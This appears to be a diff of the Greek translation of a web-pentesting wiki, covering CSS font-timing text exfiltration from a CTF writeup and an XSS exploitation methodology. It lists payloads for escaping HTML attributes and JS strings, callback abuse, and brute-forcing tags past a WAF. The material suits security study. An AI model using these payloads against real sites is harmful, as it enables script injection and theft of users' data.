Σε αυτή την περίπτωση, θα μπορούσαμε να προσπαθήσουμε να leak αν ένας χαρακτήρας βρίσκεται στο κείμενο φορτώνοντας μια ψεύτικη γραμματοσειρά από την ίδια προέλευση:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
@ -760,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
|
||||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
If there is a match, the **font will be loaded from `/static/bootstrap.min.css?q=1`**. Although it won’t load successfully, the **browser should cache it**, and even if there is no cache, there is a **304 not modified** mechanism, so the **response should be faster** than other things.
|
||||
Αν υπάρχει αντιστοιχία, η **γραμματοσειρά θα φορτωθεί από `/static/bootstrap.min.css?q=1`**. Παρόλο που δεν θα φορτώσει επιτυχώς, ο **browser θα πρέπει να το αποθηκεύσει στην cache**, και ακόμα κι αν δεν υπάρχει cache, υπάρχει ο μηχανισμός **304 not modified**, οπότε η **απάντηση θα πρέπει να είναι ταχύτερη** από άλλα πράγματα.
|
||||
|
||||
Ωστόσο, αν η διαφορά χρόνου ανάμεσα στην cached απάντηση και στη μη-cached δεν είναι αρκετά μεγάλη, αυτό δεν θα είναι χρήσιμο. Για παράδειγμα, ο συγγραφέας ανέφερε: «Όμως, μετά από δοκιμές, βρήκα ότι το πρώτο πρόβλημα είναι πως η ταχύτητα δεν διαφέρει πολύ, και το δεύτερο είναι ότι το bot χρησιμοποιεί τη σημαία `disk-cache-size=1`, κάτι που είναι πραγματικά προσεκτικό.»
|
||||
Ωστόσο, αν η διαφορά χρόνου της cached απάντησης σε σχέση με την μη-cached δεν είναι αρκετά μεγάλη, αυτό δεν θα είναι χρήσιμο. Για παράδειγμα, ο συγγραφέας ανέφερε: «Μετά τις δοκιμές, διαπίστωσα ότι το πρώτο πρόβλημα είναι ότι η ταχύτητα δεν διαφέρει πολύ, και το δεύτερο πρόβλημα είναι ότι το bot χρησιμοποιεί τη σημαία `disk-cache-size=1`, κάτι που είναι πραγματικά προσεγμένο.»
|
||||
|
||||
### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Reference:** Αυτό αναφέρεται ως [μη επιτυχής λύση σε αυτό το writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Σε αυτή την περίπτωση μπορείτε να ορίσετε **CSS που φορτώνει εκατοντάδες ψεύτικες γραμματοσειρές** από την ίδια προέλευση όταν συμβεί ένα match. Με αυτόν τον τρόπο μπορείτε να **μετρήσετε τον χρόνο** που χρειάζεται και να διαπιστώσετε αν ένας χαρακτήρας εμφανίζεται ή όχι με κάτι σαν:
|
||||
Σε αυτήν την περίπτωση μπορείτε να υποδείξετε **CSS για να φορτώσετε εκατοντάδες ψεύτικες γραμματοσειρές** από την ίδια προέλευση όταν συμβεί η αντιστοίχιση. Με αυτόν τον τρόπο μπορείτε να **μετρήσετε τον χρόνο** που απαιτείται και να διαπιστώσετε αν ένας χαρακτήρας εμφανίζεται ή όχι με κάτι σαν:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
@ -783,7 +783,7 @@ browser.get(url)
|
||||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||
time.sleep(30)
|
||||
```
|
||||
Έτσι, εάν η γραμματοσειρά δεν ταιριάζει, ο χρόνος απόκρισης κατά την επίσκεψη στον bot αναμένεται να είναι περίπου 30 δευτερόλεπτα. Ωστόσο, εάν υπάρχει ταύτιση γραμματοσειράς, θα σταλούν πολλαπλά αιτήματα για την ανάκτηση της γραμματοσειράς, προκαλώντας συνεχή δραστηριότητα στο δίκτυο. Ως αποτέλεσμα, θα χρειαστεί περισσότερο χρόνος για να ικανοποιηθεί η συνθήκη τερματισμού και να ληφθεί η απάντηση. Επομένως, ο χρόνος απόκρισης μπορεί να χρησιμοποιηθεί ως δείκτης για να προσδιοριστεί εάν υπάρχει ταύτιση γραμματοσειράς.
|
||||
Έτσι, αν η γραμματοσειρά δεν ταιριάζει, ο χρόνος απόκρισης κατά την επίσκεψη στον bot αναμένεται να είναι περίπου 30 δευτερόλεπτα. Ωστόσο, αν υπάρχει ταύτιση γραμματοσειράς, θα αποσταλούν πολλαπλά αιτήματα για την ανάκτηση της γραμματοσειράς, προκαλώντας συνεχή δραστηριότητα δικτύου. Ως αποτέλεσμα, θα χρειαστεί περισσότερος χρόνος για να ικανοποιηθεί η συνθήκη τερματισμού και να ληφθεί η απάντηση. Επομένως, ο χρόνος απόκρισης μπορεί να χρησιμοποιηθεί ως δείκτης για να προσδιοριστεί αν υπάρχει ταύτιση γραμματοσειράς.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
||||
@ -4,81 +4,81 @@
|
||||
|
||||
## Μεθοδολογία
|
||||
|
||||
1. Έλεγξε αν **κάποια τιμή που ελέγχεις** (_parameters_, _path_, _headers_?, _cookies_?) **αντανακλάται** στο HTML ή **χρησιμοποιείται** από κώδικα **JS**.
|
||||
2. **Εντόπισε το context** όπου αντανακλάται/χρησιμοποιείται.
|
||||
3. Εάν είναι **αντανακλώμενο**
|
||||
1. Έλεγξε **ποιά σύμβολα μπορείς να χρησιμοποιήσεις** και ανάλογα ετοίμασε το payload:
|
||||
1. Έλεγχος αν **οποιαδήποτε τιμή που ελέγχετε** (_parameters_, _path_, _headers_?, _cookies_?) **ανακλάται** στο HTML ή **χρησιμοποιείται** από **JS** κώδικα.
|
||||
2. **Βρείτε το πλαίσιο** όπου ανακλάται/χρησιμοποιείται.
|
||||
3. If **reflected**
|
||||
1. Check **which symbols can you use** and depending on that, prepare the payload:
|
||||
1. Σε **raw HTML**:
|
||||
1. Μπορείς να δημιουργήσεις νέα HTML tags;
|
||||
2. Μπορείς να χρησιμοποιήσεις events ή attributes που υποστηρίζουν το πρωτόκολλο `javascript:` ;
|
||||
3. Μπορείς να παρακάμψεις προστασίες;
|
||||
4. Το HTML περιεχόμενο ερμηνεύεται από κάποια client side JS engine (_AngularJS_, _VueJS_, _Mavo_...); θα μπορούσες να εκμεταλλευτείς ένα [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. Αν δεν μπορείς να δημιουργήσεις HTML tags που να εκτελούν JS, μπορείς να εκμεταλλευτείς ένα [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html);
|
||||
1. Μπορείτε να δημιουργήσετε νέα HTML tags;
|
||||
2. Μπορείτε να χρησιμοποιήσετε events ή attributes που υποστηρίζουν το πρωτόκολλο `javascript:`?;
|
||||
3. Μπορείτε να παρακάμψετε τις προστασίες;
|
||||
4. Ερμηνεύεται το HTML περιεχόμενο από κάποιο client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), θα μπορούσατε να εκμεταλλευτείτε ένα [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. Αν δεν μπορείτε να δημιουργήσετε HTML tags που εκτελούν JS κώδικα, θα μπορούσατε να εκμεταλλευτείτε ένα [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
|
||||
2. Μέσα σε ένα **HTML tag**:
|
||||
1. Μπορείς να βγεις στο raw HTML context;
|
||||
2. Μπορείς να δημιουργήσεις νέα events/attributes για να εκτελέσεις JS κώδικα;
|
||||
3. Το attribute όπου είσαι παγιδευμένος υποστηρίζει εκτέλεση JS;
|
||||
4. Μπορείς να παρακάμψεις προστασίες;
|
||||
1. Μπορείτε να εξέλθετε στο raw HTML context;
|
||||
2. Μπορείτε να δημιουργήσετε νέα events/attributes για να εκτελέσετε JS κώδικα;
|
||||
3. Το attribute όπου βρίσκεστε υποστηρίζει εκτέλεση JS;
|
||||
4. Μπορείτε να παρακάμψετε τις προστασίες;
|
||||
3. Μέσα σε **JavaScript code**:
|
||||
1. Μπορείς να κάνεις escape το `<script>` tag;
|
||||
2. Μπορείς να κάνεις escape το string και να εκτελέσεις διαφορετικό JS code;
|
||||
3. Είναι το input σου μέσα σε template literals \`\`;
|
||||
4. Μπορείς να παρακάμψεις προστασίες;
|
||||
4. Javascript **function** που εκτελείται
|
||||
1. Μπορείς να υποδείξεις το όνομα της function προς εκτέλεση. π.χ.: `?callback=alert(1)`
|
||||
4. Εάν **χρησιμοποιείται**:
|
||||
1. Μπορείς να εκμεταλλευτείς ένα **DOM XSS**, πρόσεξε με ποιον τρόπο ελέγχεται το input σου και αν το **ελεγχόμενο input χρησιμοποιείται από κάποιο sink.**
|
||||
1. Μπορείτε να διαφύγετε από το `<script>` tag;
|
||||
2. Μπορείτε να διαφύγετε από το string και να εκτελέσετε διαφορετικό JS κώδικα;
|
||||
3. Τα inputs σας είναι σε template literals `` ``;
|
||||
4. Μπορείτε να παρακάμψετε τις προστασίες;
|
||||
4. Javascript **function** που **εκτελείται**
|
||||
1. Μπορείτε να δηλώσετε το όνομα της function που θα εκτελεστεί. π.χ.: `?callback=alert(1)`
|
||||
4. If **used**:
|
||||
1. Μπορείτε να εκμεταλλευτείτε ένα **DOM XSS**, προσέξτε πώς ελέγχεται το input σας και αν το **ελεγχόμενο input χρησιμοποιείται από κάποιο sink.**
|
||||
|
||||
Όταν δουλεύεις πάνω σε ένα πολύπλοκο XSS ίσως σε ενδιαφέρει να διαβάσεις σχετικά:
|
||||
When working on a complex XSS you might find interesting to know about:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
debugging-client-side-js.md
|
||||
{{#endref}}
|
||||
|
||||
## Αντανακλώμενες τιμές
|
||||
## Τιμές που ανακλώνται
|
||||
|
||||
Για να εκμεταλλεύσεις επιτυχώς ένα XSS, το πρώτο που πρέπει να βρεις είναι μια **τιμή που ελέγχεις και αντανακλάται** στη σελίδα.
|
||||
Για να εκμεταλλευτείτε επιτυχώς ένα XSS το πρώτο που πρέπει να βρείτε είναι μια **τιμή που ελέγχετε και ανακλάται** στη σελίδα.
|
||||
|
||||
- **Ενδιάμεσα αντανακλώμενο**: Αν βρεις ότι η τιμή ενός parameter ή ακόμα και του path αντανακλάται στη σελίδα, μπορείς να εκμεταλλεύσεις ένα **Reflected XSS**.
|
||||
- **Αποθηκευμένο και αντανακλώμενο**: Αν βρεις ότι μια τιμή που ελέγχεις αποθηκεύεται στον server και αντανακλάται κάθε φορά που επισκέπτεσαι μια σελίδα, μπορείς να εκμεταλλεύσεις ένα **Stored XSS**.
|
||||
- **Προσπελάζεται μέσω JS**: Αν βρεις ότι μια τιμή που ελέγχεις προσπελάζεται μέσω JS, μπορείς να εκμεταλλευτείς ένα **DOM XSS**.
|
||||
- **Ενδιάμεσα ανακλώμενη**: Αν βρείτε ότι η τιμή ενός parameter ή ακόμα και του path ανακλάται στη σελίδα, μπορείτε να εκμεταλλευτείτε ένα **Reflected XSS**.
|
||||
- **Αποθηκευμένη και ανακλώμενη**: Αν βρείτε ότι μια τιμή που ελέγχετε αποθηκεύεται στον server και ανακλάται κάθε φορά που επισκέπτεστε τη σελίδα, μπορείτε να εκμεταλλευτείτε ένα **Stored XSS**.
|
||||
- **Προσπελαύνεται μέσω JS**: Αν βρείτε ότι μια τιμή που ελέγχετε προσπελαύνεται μέσω JS, μπορείτε να εκμεταλλευτείτε ένα **DOM XSS**.
|
||||
|
||||
## Συμφραζόμενα
|
||||
## Πλαίσια
|
||||
|
||||
Όταν προσπαθείς να εκμεταλλευτείς ένα XSS, το πρώτο που πρέπει να γνωρίζεις είναι **πού αντανακλάται το input σου**. Ανάλογα με το context, θα μπορείς να εκτελέσεις αυθαίρετο JS κώδικα με διαφορετικούς τρόπους.
|
||||
Όταν προσπαθείτε να εκμεταλλευτείτε ένα XSS, το πρώτο που πρέπει να ξέρετε είναι **πού ανακλάται το input σας**. Ανάλογα με το πλαίσιο, θα μπορείτε να εκτελέσετε αυθαίρετο JS κώδικα με διαφορετικούς τρόπους.
|
||||
|
||||
### Ακατέργαστο HTML
|
||||
### Raw HTML
|
||||
|
||||
Αν το input σου **αντανακλάται στο raw HTML** της σελίδας, θα χρειαστεί να εκμεταλλευτείς κάποιο **HTML tag** για να εκτελέσεις JS κώδικα: `<img , <iframe , <svg , <script` ... αυτά είναι μόνο μερικά από τα πολλά πιθανά HTML tags που μπορείς να χρησιμοποιήσεις.\
|
||||
Επίσης, λάβε υπόψη το [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
Αν το input σας **ανακλάται στο raw HTML** της σελίδας, θα πρέπει να εκμεταλλευτείτε κάποιο **HTML tag** για να εκτελέσετε JS κώδικα: `<img , <iframe , <svg , <script` ... αυτά είναι μόνο μερικά από τα πολλά δυνατά HTML tags που μπορείτε να χρησιμοποιήσετε.\
|
||||
Επίσης, να έχετε υπόψη [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### Μέσα σε attribute ετικέτας HTML
|
||||
### Inside HTML tags attribute
|
||||
|
||||
Αν το input σου αντανακλάται μέσα στην τιμή ενός attribute ενός tag μπορείς να δοκιμάσεις:
|
||||
Αν το input σας ανακλάται μέσα στην τιμή ενός attribute ενός tag, μπορείτε να δοκιμάσετε:
|
||||
|
||||
1. Να **ξεφύγεις από το attribute και από το tag** (τότε θα βρεθείς στο raw HTML) και να δημιουργήσεις νέο HTML tag για να εκμεταλλευτείς: `"><img [...]`
|
||||
2. Αν **μπορείς να ξεφύγεις από το attribute αλλά όχι από το tag** (`>` είναι encoded ή διαγράφεται), ανάλογα με το tag μπορείς να **δημιουργήσεις ένα event** που θα εκτελέσει JS κώδικα: `" autofocus onfocus=alert(1) x="`
|
||||
3. Αν **δεν μπορείς να ξεφύγεις από το attribute** (`"` είναι encoded ή διαγράφεται), τότε ανάλογα με **το ποιο attribute** αντανακλά την τιμή σου και **αν ελέγχεις ολόκληρη την τιμή ή μόνο ένα μέρος της**, θα μπορέσεις να το εκμεταλλευτείς. Για **παράδειγμα**, αν ελέγχεις ένα event όπως `onclick=` θα καταφέρεις να το κάνεις να εκτελέσει αυθαίρετο κώδικα όταν γίνει click. Ένα ακόμα ενδιαφέρον **παράδειγμα** είναι το attribute `href`, όπου μπορείς να χρησιμοποιήσεις το πρωτόκολλο `javascript:` για να εκτελέσεις αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
|
||||
4. Αν το input σου αντανακλάται μέσα σε "**unexpoitable tags**" μπορείς να δοκιμάσεις το κόλπο με το **`accesskey`** για να εκμεταλλευτείς το vuln (θα χρειαστείς κάποια μορφή social engineering για να το αξιοποιήσεις): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
1. Να **ξεφύγετε από το attribute και από το tag** (τότε θα βρεθείτε στο raw HTML) και να δημιουργήσετε νέο HTML tag για εκμετάλλευση: `"><img [...]`
|
||||
2. Αν **μπορείτε να ξεφύγετε από το attribute αλλά όχι από το tag** (`>` κωδικοποιείται ή διαγράφεται), ανάλογα με το tag μπορείτε να **δημιουργήσετε ένα event** που εκτελεί JS κώδικα: `" autofocus onfocus=alert(1) x="`
|
||||
3. Αν **δεν μπορείτε να ξεφύγετε από το attribute** (`"` κωδικοποιείται ή διαγράφεται), τότε ανάλογα με **ποιο attribute** ανακλάται η τιμή σας και **αν ελέγχετε ολόκληρη την τιμή ή μόνον ένα μέρος** θα μπορείτε να το εκμεταλλεύσετε. Για **παράδειγμα**, αν ελέγχετε ένα event όπως `onclick=` θα μπορείτε να το κάνετε να εκτελέσει arbitrary code όταν γίνει κλικ. Ένα ακόμα ενδιαφέρον **παράδειγμα** είναι το attribute `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε arbitrary code: **`href="javascript:alert(1)"`**
|
||||
4. Αν το input σας ανακλάται μέσα σε "**unexpoitable tags**" μπορείτε να δοκιμάσετε το κόλπο με το **`accesskey`** για να εκμεταλλευτείτε το vuln (θα χρειαστεί κάποιο social engineering για να το εκμεταλλευτείτε): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Παράξενο παράδειγμα του Angular που εκτελεί XSS αν ελέγχεις ένα όνομα κλάσης:
|
||||
Παράδειγμα όπου το Angular εκτελεί XSS αν ελέγχετε ένα class name:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
</div>
|
||||
```
|
||||
### Μέσα σε JavaScript κώδικα
|
||||
### Μέσα στον JavaScript κώδικα
|
||||
|
||||
Σε αυτή την περίπτωση το input σας ανακλάται ανάμεσα σε **`<script> [...] </script>`** tags μιας HTML σελίδας, μέσα σε ένα `.js` αρχείο ή μέσα σε ένα attribute που χρησιμοποιεί το πρωτόκολλο **`javascript:`**:
|
||||
Σε αυτή την περίπτωση το input σου αντανακλάται μεταξύ **`<script> [...] </script>`** tags μιας HTML σελίδας, μέσα σε ένα `.js` αρχείο ή μέσα σε ένα attribute που χρησιμοποιεί το **`javascript:`** πρωτόκολλο:
|
||||
|
||||
- Αν ανακλάται ανάμεσα σε **`<script> [...] </script>`** tags, ακόμα κι αν το input σας είναι μέσα σε οποιοδήποτε είδος quotes, μπορείτε να δοκιμάσετε να εισάγετε `</script>` και να αποδράσετε από αυτό το context. Αυτό λειτουργεί επειδή ο **browser θα πρώτα κάνει parse στα HTML tags** και μετά στο περιεχόμενο, επομένως δεν θα παρατηρήσει ότι το εισαγόμενο `</script>` tag είναι μέσα στον HTML κώδικα.
|
||||
- Αν ανακλάται **μέσα σε JS string** και το προηγούμενο κόλπο δεν δουλεύει, θα χρειαστεί να **βγείτε** από το string, **εκτελέσετε** τον κώδικά σας και **ανασυνθέσετε** τον JS κώδικα (αν υπάρχει οποιοδήποτε σφάλμα, δεν θα εκτελεστεί:
|
||||
- Αν αντανακλάται μεταξύ **`<script> [...] </script>`** tags, ακόμα κι αν το input σου είναι μέσα σε κάποιο είδος quotes, μπορείς να προσπαθήσεις να εγχύσεις `</script>` και να ξεφύγεις από αυτό το context. Αυτό δουλεύει επειδή ο **browser θα πρώτα αναλύσει τα HTML tags** και μετά το περιεχόμενο, επομένως δεν θα αντιληφθεί ότι το εγχυμένο `</script>` tag βρίσκεται μέσα στον HTML κώδικα.
|
||||
- Αν αντανακλάται **μέσα σε JS string** και το τελευταίο κόλπο δεν λειτουργεί, θα χρειαστεί να **βγεις** από το string, να **εκτελέσεις** τον κώδικά σου και να **ανακατασκευάσεις** τον JS κώδικα (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- Αν ανακλάται μέσα σε template literals μπορείτε να **ενσωματώσετε JS εκφράσεις** χρησιμοποιώντας τη σύνταξη `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode encode** λειτουργεί για να γράψετε **valid javascript code**:
|
||||
- Αν αντανακλάται μέσα σε template literals μπορείς να **ενσωματώσεις JS εκφράσεις** χρησιμοποιώντας τη σύνταξη `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- Η **κωδικοποίηση Unicode** λειτουργεί για να γράψεις **έγκυρο javascript code**:
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
@ -86,29 +86,29 @@ alert(1)
|
||||
```
|
||||
#### Javascript Hoisting
|
||||
|
||||
Javascript Hoisting αναφέρεται στην ευκαιρία να **δηλώνεις συναρτήσεις, μεταβλητές ή κλάσεις αφού χρησιμοποιηθούν ώστε να μπορείς να εκμεταλλευτείς σενάρια όπου ένα XSS χρησιμοποιεί μη δηλωμένες μεταβλητές ή συναρτήσεις.**\
|
||||
**Έλεγξε την παρακάτω σελίδα για περισσότερες πληροφορίες:**
|
||||
Javascript Hoisting αναφέρεται στην ευκαιρία να **δηλώσεις συναρτήσεις, μεταβλητές ή κλάσεις αφού έχουν χρησιμοποιηθεί, ώστε να μπορείς να εκμεταλλευτείς σενάρια όπου ένα XSS χρησιμοποιεί μη δηλωμένες μεταβλητές ή συναρτήσεις.**\
|
||||
**Δες την παρακάτω σελίδα για περισσότερες πληροφορίες:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
js-hoisting.md
|
||||
{{#endref}}
|
||||
|
||||
### Javascript Function
|
||||
### Συνάρτηση Javascript
|
||||
|
||||
Several web pages have endpoints that **δέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί**. Ένα συνηθισμένο παράδειγμα που βλέπεις στη φύση είναι κάτι σαν: `?callback=callbackFunc`.
|
||||
Πολλές ιστοσελίδες έχουν endpoints που **δέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί**. Ένα συνηθισμένο παράδειγμα που θα δεις σε πραγματικά συστήματα είναι κάτι σαν: `?callback=callbackFunc`.
|
||||
|
||||
Ένας καλός τρόπος για να καταλάβεις αν κάτι που δίνεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι **η τροποποίηση της τιμής της παραμέτρου** (για παράδειγμα σε 'Vulnerable') και να κοιτάξεις στην κονσόλα για σφάλματα όπως:
|
||||
Ένας καλός τρόπος για να διαπιστώσεις αν κάτι που δίνεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι να **τροποποιήσεις την τιμή της παραμέτρου** (για παράδειγμα σε 'Vulnerable') και να κοιτάξεις στην κονσόλα για σφάλματα όπως:
|
||||
|
||||
.png>)
|
||||
|
||||
Σε περίπτωση που είναι ευάλωτο, μπορείς να καταφέρεις να **προκαλέσεις ένα alert** απλώς στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ συνηθισμένο αυτά τα endpoints να **ελέγχουν το περιεχόμενο** ώστε να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και underscores (**`[\w\._]`**).
|
||||
Σε περίπτωση που είναι ευάλωτο, θα μπορούσες να **προκαλέσεις ένα alert** απλώς στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ συνηθισμένο αυτά τα endpoints να **επαληθεύουν το περιεχόμενο** ώστε να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και underscore (**`[\w\._]`**).
|
||||
|
||||
Ωστόσο, ακόμη και με αυτόν τον περιορισμό είναι ακόμα δυνατό να εκτελεστούν ορισμένες ενέργειες. Αυτό συμβαίνει επειδή μπορείς να χρησιμοποιήσεις αυτούς τους έγκυρους χαρακτήρες για να **προσπελάσεις οποιοδήποτε στοιχείο στο DOM**:
|
||||
Παρόλα αυτά, ακόμα και με αυτόν τον περιορισμό είναι εφικτό να εκτελέσεις κάποιες ενέργειες. Αυτό συμβαίνει επειδή μπορείς να χρησιμοποιήσεις αυτούς τους έγκυρους χαρακτήρες για να **προσπελάσεις οποιοδήποτε στοιχείο στο DOM**:
|
||||
|
||||
.png>)
|
||||
|
||||
Μερικές χρήσιμες συναρτήσεις για αυτό:
|
||||
Κάποιες χρήσιμες συναρτήσεις για αυτό:
|
||||
```
|
||||
firstElementChild
|
||||
lastElementChild
|
||||
@ -120,7 +120,7 @@ parentElement
|
||||
|
||||
Ωστόσο, συνήθως τα endpoints που εκτελούν την ενδεικνυόμενη συνάρτηση είναι endpoints χωρίς πολύ ενδιαφέρον DOM, **other pages in the same origin** θα έχουν ένα **πιο ενδιαφέρον DOM** για να εκτελέσουν περισσότερες ενέργειες.
|
||||
|
||||
Επομένως, για να **εκμεταλλευτείτε αυτή την ευπάθεια σε διαφορετικό DOM** αναπτύχθηκε η εκμετάλλευση **Same Origin Method Execution (SOME)**:
|
||||
Επομένως, για να **abuse this vulnerability in a different DOM** αναπτύχθηκε η εκμετάλλευση **Same Origin Method Execution (SOME)**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -129,7 +129,7 @@ some-same-origin-method-execution.md
|
||||
|
||||
### DOM
|
||||
|
||||
Υπάρχει **JS code** που χρησιμοποιεί **ανεπαρκώς ασφαλή** κάποια **δεδομένα που ελέγχονται από έναν επιτιθέμενο** όπως `location.href`. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να εκτελέσει αυθαίρετο JS code.
|
||||
Υπάρχει **JS code** που χρησιμοποιεί **μη ασφαλώς** κάποια **δεδομένα που ελέγχονται από επιτιθέμενο** όπως `location.href`. Ένας επιτιθέμενος θα μπορούσε να το κακοποιήσει αυτό για να εκτελέσει αυθαίρετο JS code.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -138,7 +138,7 @@ dom-xss.md
|
||||
|
||||
### **Universal XSS**
|
||||
|
||||
Αυτός ο τύπος XSS μπορεί να βρεθεί **οπουδήποτε**. Δεν εξαρτώνται μόνο από την εκμετάλλευση της πλευράς client μιας web εφαρμογής αλλά από **οποιοδήποτε** **πλαίσιο**. Αυτός ο τύπος **αυθαίρετης εκτέλεσης JavaScript** μπορεί ακόμη να χρησιμοποιηθεί για να αποκτηθεί **RCE**, να **διαβαστούν** **αυθαίρετα** **αρχεία** σε clients και servers, και άλλα.\
|
||||
Αυτού του είδους τα XSS μπορούν να βρεθούν **οπουδήποτε**. Δεν εξαρτώνται μόνο από την εκμετάλλευση του client μιας web εφαρμογής αλλά από **οποιοδήποτε** **context**. Αυτού του τύπου η **arbitrary JavaScript execution** μπορεί ακόμη να χρησιμοποιηθεί για απόκτηση **RCE**, ανάγνωση **arbitrary** **files** σε clients και servers, και άλλα.\
|
||||
Κάποια **παραδείγματα**:
|
||||
|
||||
|
||||
@ -157,9 +157,9 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
## Injecting inside raw HTML
|
||||
|
||||
Όταν το input σας αντανακλάται **μέσα στη σελίδα HTML** ή μπορείτε να διαφύγετε και να εισάγετε HTML κώδικα σε αυτό το context, το **πρώτο** πράγμα που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να εκμεταλλευτείτε το `<` για να δημιουργήσετε νέα tags: Απλά δοκιμάστε να **ανακλάσετε** αυτό το **char** και ελέγξτε αν γίνεται **HTML encoded** ή **διαγράφεται** ή αν **ανακλάται χωρίς αλλαγές**. **Μόνο στην τελευταία περίπτωση θα μπορέσετε να το εκμεταλλευτείτε**.\
|
||||
Για αυτές τις περιπτώσεις επίσης **να έχετε υπόψη** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας\*\***\***\*`-->`\*\***\***\*ή \*\***`--!>`\*\*_
|
||||
Όταν η είσοδός σας αντανακλάται **inside the HTML page** ή μπορείτε να διαφύγετε και να εγχύσετε HTML code σε αυτό το context, το **πρώτο** που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να κακοποιήσετε το `<` για να δημιουργήσετε νέα tags: Απλώς προσπαθήστε να **reflect** αυτό το **char** και ελέγξτε αν γίνεται **HTML encoded** ή **διαγράφεται** ή αν **αποτυπώνεται χωρίς αλλαγές**. **Μόνο στην τελευταία περίπτωση θα μπορέσετε να εκμεταλλευτείτε αυτό το σενάριο**.\
|
||||
Για αυτές τις περιπτώσεις επίσης **έχετε υπόψη** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\***_
|
||||
|
||||
Σε αυτή την περίπτωση και αν δεν χρησιμοποιείται black/whitelisting, μπορείτε να χρησιμοποιήσετε payloads όπως:
|
||||
```html
|
||||
@ -170,21 +170,21 @@ alert(1)
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Αλλά, αν γίνεται black/whitelisting των tags/attributes, θα χρειαστεί να **brute-force ποια tags** μπορείτε να δημιουργήσετε.\
|
||||
Μόλις έχετε **εντοπίσει ποια tags επιτρέπονται**, θα χρειαστεί να **brute-force attributes/events** εντός των έγκυρων tags που βρέθηκαν, για να δείτε πώς μπορείτε να επιτεθείτε στο context.
|
||||
Μόλις **εντοπίσετε ποια tags επιτρέπονται**, θα πρέπει να **brute-force attributes/events** μέσα στα έγκυρα tags που βρήκατε για να δείτε πώς μπορείτε να επιτεθείτε στο context.
|
||||
|
||||
### Tags/Events brute-force
|
||||
|
||||
Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Στη συνέχεια, στείλτε τα όλα χρησιμοποιώντας Burp intruder και ελέγξτε αν κάποιο tag δεν εντοπίστηκε ως κακόβουλο από το WAF. Μόλις ανακαλύψετε ποια tags μπορείτε να χρησιμοποιήσετε, μπορείτε να **brute force όλα τα events** χρησιμοποιώντας τα έγκυρα tags (στην ίδια σελίδα κάντε κλικ στο _**Copy events to clipboard**_ και ακολουθήστε την ίδια διαδικασία όπως πριν).
|
||||
Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags (in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before).
|
||||
|
||||
### Custom tags
|
||||
|
||||
